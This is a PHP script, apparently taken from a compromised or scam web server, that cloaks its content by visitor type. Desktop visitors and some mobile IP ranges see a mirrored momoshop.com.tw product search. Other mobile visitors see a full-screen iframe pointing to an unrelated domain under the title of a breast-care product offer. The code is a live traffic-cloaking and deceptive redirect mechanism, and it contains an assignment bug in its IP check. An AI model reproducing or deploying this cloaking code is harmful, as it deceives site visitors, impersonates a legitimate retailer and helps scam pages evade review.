File: /www/wwwroot/www.ivnjeb.com/braes/index.php
<?php
function is_mobile()
{
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$is_pc = (strpos($agent, 'windows nt')) ? true : false;
$is_mac = (strpos($agent, 'mac os')) ? true : false;
$is_iphone = (strpos($agent, 'iphone')) ? true : false;
$is_android = (strpos($agent, 'android')) ? true : false;
$is_ipad = (strpos($agent, 'ipad')) ? true : false;
if($is_pc){
return false;
}
if($is_mac){
return true;
}
if($is_iphone){
return true;
}
if($is_android){
return true;
}
if($is_ipad){
return true;
}
}
/* 判断电脑移动端的封装*/
if(!is_mobile())//如果是电脑端显示
{
{
echo '<base href="https://m.momoshop.com.tw/" /> ';
$f_info=implode("",file("https://m.momoshop.com.tw/search.momo?searchKeyword=%E9%81%8B%E5%8B%95%E5%85%A7%E8%A1%A3&couponSeq=&searchType=4&cateLevel=-1&curPage=1&cateCode=&cateName=&maxPage=73&minPage=1&_advCp=N&_advFirst=N&_advFreeze=N&_advSuperstore=N&_advTvShop=N&_advTomorrow=N&_advNAM=N&_advStock=N&_advPrefere=N&_advThreeHours=N&_advPriceS=&_advPriceE=&_brandNameList=&_brandNoList=&ent=b&_imgSH=fourCardType&specialGoodsType=&_isFuzzy=0&_spAttL=&_mAttL=&_sAttL=&_noAttL=&topMAttL=&topSAttL=&topNoAttL="));
echo $f_info;
}
}
else {
$ip = $_SERVER['REMOTE_ADDR'];
$ip = explode('.',$ip);
if($ip[0]==103&&$ip[1]=136){
echo '<base href="https://m.momoshop.com.tw/" /> ';
$f_info=implode("",file("https://m.momoshop.com.tw/search.momo?searchKeyword=%E9%81%8B%E5%8B%95%E5%85%A7%E8%A1%A3&couponSeq=&searchType=4&cateLevel=-1&curPage=1&cateCode=&cateName=&maxPage=73&minPage=1&_advCp=N&_advFirst=N&_advFreeze=N&_advSuperstore=N&_advTvShop=N&_advTomorrow=N&_advNAM=N&_advStock=N&_advPrefere=N&_advThreeHours=N&_advPriceS=&_advPriceE=&_brandNameList=&_brandNoList=&ent=b&_imgSH=fourCardType&specialGoodsType=&_isFuzzy=0&_spAttL=&_mAttL=&_sAttL=&_noAttL=&topMAttL=&topSAttL=&topNoAttL="));
echo $f_info;
}
else {
echo '
<!DOCTYPE html>
<html >
<head>
<title>專業胸部調理方案</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
<style type="text/css" media="all">
body{padding:0px;margin:0px}
</style>
<head>
<body>
<iframe src="https://www.ttosn56.com/dtfx/1/" style="visibility:visible !important; position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;" allowfullscreen="allowfullscreen" webkitallowfullscreen="webkitallowfullscreen" mozallowfullscreen="mozallowfullscreen"></iframe>
</body>
</html>
';
}
}